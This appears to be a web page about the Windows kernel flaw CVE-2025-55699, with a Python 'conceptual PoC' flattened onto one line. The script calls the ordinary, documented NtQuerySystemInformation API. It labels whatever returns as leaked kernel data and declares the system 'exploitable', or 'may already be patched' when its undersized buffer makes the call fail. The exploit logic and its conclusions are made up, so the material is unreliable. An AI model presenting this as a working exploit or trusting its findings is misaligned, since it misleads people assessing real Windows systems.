CVE-2025-55699 Windows内核敏感信息泄露漏洞

# CVE-2025-55699 Windows Kernel Information Disclosure PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the vulnerability. # The actual exploitation requires specific knowledge of the affected kernel API. import ctypes import ctypes.wintypes as wt import struct import sys # Windows API constants GENERIC_READ = 0x80000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 def exploit_kernel_info_disclosure(): """ Conceptual PoC for CVE-2025-55699 Exploits Windows Kernel information disclosure vulnerability to read sensitive system information. """ print("[*] CVE-2025-55699 Windows Kernel Information Disclosure PoC") print("[*] Attempting to trigger kernel info disclosure...\n") # Step 1: Load necessary Windows DLLs try: kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll except Exception as e: print(f"[-] Failed to load Windows DLLs: {e}") return False # Step 2: Trigger vulnerable kernel code path # The vulnerability exists in how the kernel handles certain # system calls that expose sensitive information to # unauthorized actors with low privileges. # Allocate buffer to receive leaked information buffer_size = 4096 info_buffer = ctypes.create_string_buffer(buffer_size) bytes_returned = wt.DWORD(0) # Step 3: Call the vulnerable kernel interface # Note: The actual API call depends on the specific vulnerable component # This is a conceptual representation of the exploitation technique print("[*] Querying vulnerable kernel interface...") # Simulate the vulnerable operation # In a real exploit, this would invoke the specific vulnerable # NtQuerySystemInformation or similar kernel API that leaks data try: # Example: Query system information that may contain leaked data # The actual vulnerable function would be identified through # reverse engineering of the affected Windows component status = ntdll.NtQuerySystemInformation( 0x05, # SystemProcessInformation class info_buffer, buffer_size, ctypes.byref(bytes_returned) ) if status == 0: # STATUS_SUCCESS print(f"[+] Kernel information retrieved: {bytes_returned.value} bytes") print("[+] Sensitive data may have been disclosed") # Parse and display leaked information leaked_data = info_buffer.raw[:bytes_returned.value] print(f"[+] Leaked data preview (hex): {leaked_data[:64].hex()}") return True else: print(f"[-] Query failed with status: 0x{status:08X}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-55699 - Windows Kernel Info Disclosure PoC") print("CVSS 3.1: 5.5 (MEDIUM)") print("Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N") print("=" * 60) print() # Check if running with sufficient privileges import os if os.name != 'nt': print("[-] This PoC requires Windows OS") sys.exit(1) success = exploit_kernel_info_disclosure() if success: print("\n[!] Vulnerability appears to be exploitable") print("[!] Recommend applying Microsoft security update immediately") else: print("\n[*] Could not confirm exploitability") print("[*] System may already be patched") if __name__ == "__main__": main()